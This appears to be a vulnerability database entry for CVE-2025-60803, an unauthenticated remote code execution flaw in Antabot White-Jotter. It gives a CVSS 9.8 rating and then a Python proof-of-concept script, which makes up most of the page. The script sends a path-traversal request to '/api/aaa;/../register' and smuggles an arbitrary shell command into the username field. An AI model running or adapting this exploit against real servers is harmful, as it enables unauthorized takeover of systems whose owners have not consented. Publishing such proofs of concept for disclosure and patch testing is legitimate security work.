Antabot White-Jotter up to commit 9bcadc was discovered to contain an unauthenticated remote code execution (RCE) vulnerability via the component /api/aaa;/../register.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Antabot White-Jotter <= 9bcadc
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-60803 PoC - Antabot White-Jotter Unauthenticated RCE
# Educational purpose only - Do not use without authorization
import requests
import sys
def exploit_cve_2025_60803(target_url, command):
"""
Exploit the path traversal authentication bypass in White-Jotter
Target endpoint: /api/aaa;/../register
"""
target = target_url.rstrip('/')
# Construct malicious URL with path traversal
exploit_url = f"{target}/api/aaa;/../register"
# Payload for remote code execution
# Inject command into username or email field
payload = {
'username': f"test;{command};",
'password': 'Password123!',
'email': '[email protected]'
}
headers = {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
try:
response = requests.post(exploit_url, json=payload, headers=headers, timeout=10)
print(f"[*] Request sent to: {exploit_url}")
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response: {response.text[:500]}")
return response
except requests.exceptions.RequestException as e:
print(f"[!] Error: {e}")
return None
if __name__ == '__main__':
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_url> <command>")
print(f"Example: {sys.argv[0]} http://target.com 'whoami'")
sys.exit(1)
target_url = sys.argv[1]
command = sys.argv[2]
exploit_cve_2025_60803(target_url, command)